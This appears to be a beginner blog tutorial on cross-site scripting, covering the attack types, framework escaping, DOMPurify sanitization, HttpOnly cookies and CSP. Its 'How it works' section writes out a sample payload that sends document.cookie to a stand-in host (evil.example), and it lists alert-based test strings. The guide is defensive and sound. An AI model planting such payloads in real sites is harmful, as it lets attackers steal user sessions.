What Is XSS? Cross-Site Scripting Explained for Beginners
Cross-site scripting lets an attacker run their JavaScript in your users' browsers — stealing sessions, changing pages, acting as the user. How XSS works, the three types, why React mostly protects you, the escape hatches that don't, and the defences that matter.
Cross-site scripting — XSS — is one of the most common security holes on the web. It happens when your app displays something a user wrote, and that "something" turns out to be code that runs in other people's browsers.
How it works
Your app lets users write a profile bio. Another user views it. The app puts the bio into the page:
bioElement.innerHTML = user.bio
A normal bio is harmless. But an attacker sets their bio to:
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
The browser tries to load an image from x, fails, and runs the onerror code — in the page of every person who views that profile, with that person's access. The attacker's script can:
- Steal session tokens stored where JavaScript can read them, and log in as the victim.
- Act as the user — change their email, send messages, make purchases — by making requests from their browser.
- Rewrite the page — show a fake login form, change a bank account number.
- Read anything on the page, including personal data.
The key problem: the app treated user input as HTML/code instead of as text.
The three types
- Stored XSS — the malicious input is saved (in a bio, comment, product review) and served to everyone who views it. The most damaging.
- Reflected XSS — the input comes from the URL and is shown straight back: a search page that displays "Results for: [your search]." An attacker sends a victim a crafted link.
- DOM-based XSS — the front-end JavaScript itself takes something from the URL or elsewhere and puts it into the page unsafely.
The fix: treat input as text
The core rule is escaping (also called encoding): when displaying user content, convert characters like < and > into their harmless text forms (< and >), so the browser shows them instead of running them.
bioElement.textContent = user.bio // ✅ shown as text, never run
bioElement.innerHTML = user.bio // ❌ parsed as HTML
React (and friends) protect you — mostly
Modern frameworks escape by default. In React:
<p>{user.bio}</p> // ✅ React escapes it automatically
Vue, Svelte, Angular, and most server-side template engines do the same. That's why XSS is less common in modern apps. (What Is React?.)
But every framework has escape hatches, and AI-generated code uses them:
dangerouslySetInnerHTMLin React — the name is a warning. Common when displaying rich text, Markdown, or content from a CMS.v-htmlin Vue,{@html}in Svelte.innerHTML,outerHTML,document.write, andinsertAdjacentHTMLin plain JavaScript.- Links from users:
<a href={user.website}>— if the value isjavascript:alert(1), clicking runs code. Only allowhttp:andhttps:URLs. - Markdown rendering — many Markdown libraries allow raw HTML through by default.
If you need to display user-supplied HTML (rich text editors, Markdown), sanitize it first with a well-maintained library such as DOMPurify, which removes scripts and dangerous attributes while keeping safe formatting:
import DOMPurify from "dompurify"
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.html) }} />
Defences that limit the damage
HttpOnlycookies for sessions. A script can't read a cookie markedHttpOnly, so XSS can't simply steal the session. Tokens inlocalStorage, by contrast, are readable by any script on the page. (What Is a Cookie?.)- Content Security Policy (CSP). A response header telling the browser which scripts are allowed to run. A strong CSP blocks inline scripts and scripts from unknown domains, stopping many XSS attacks even if a hole exists. (Content Security Policy.)
- Validate input on the server — a username doesn't need
<or>. (Form Validation Explained.) - Keep dependencies updated — rich text editors and Markdown libraries occasionally have XSS fixes. (How to Update Dependencies Safely.)
How to check your app
- Search the code for
dangerouslySetInnerHTML,innerHTML,v-html,{@html},document.write, andinsertAdjacentHTML. Each one needs a reason and sanitization. - Check user-provided links are limited to
http/https. - Test it. In every field that's displayed to others — name, bio, comment, product title — enter:
If an alert box pops up anywhere, you've found XSS.<img src=x onerror=alert(1)> - Check where session tokens are stored.
Or ask your AI tool to do the audit:
Find every place user-provided content is rendered as HTML, every use of dangerouslySetInnerHTML or innerHTML, and every user-provided URL used in a link. For each, explain whether it's safe and fix the ones that aren't with DOMPurify or plain text rendering.
EasySpawn runs your app on your own domain over HTTPS, with a real server where you control response headers like Content-Security-Policy — so XSS defences can live where they're most effective. See how it works or join the waitlist.
Related: SQL Injection Explained · What Is a JWT? · A Security Checklist for Vibe-Coded Apps
Keep reading
What Is Cloudflare? What It Does When You Put Your Site Behind It
Cloudflare sits between your visitors and your server: DNS, a CDN, free SSL, DDoS protection and a firewall. What changes when you turn on the orange cloud, what it costs, what it can break, and whether a small app needs it.
localStorage vs sessionStorage vs Cookies: Where Should You Store It?
Three ways to store data in the browser, with different lifetimes, sizes and security properties. What each one is for, why login tokens shouldn't go in localStorage, the size limits, and a simple rule for choosing.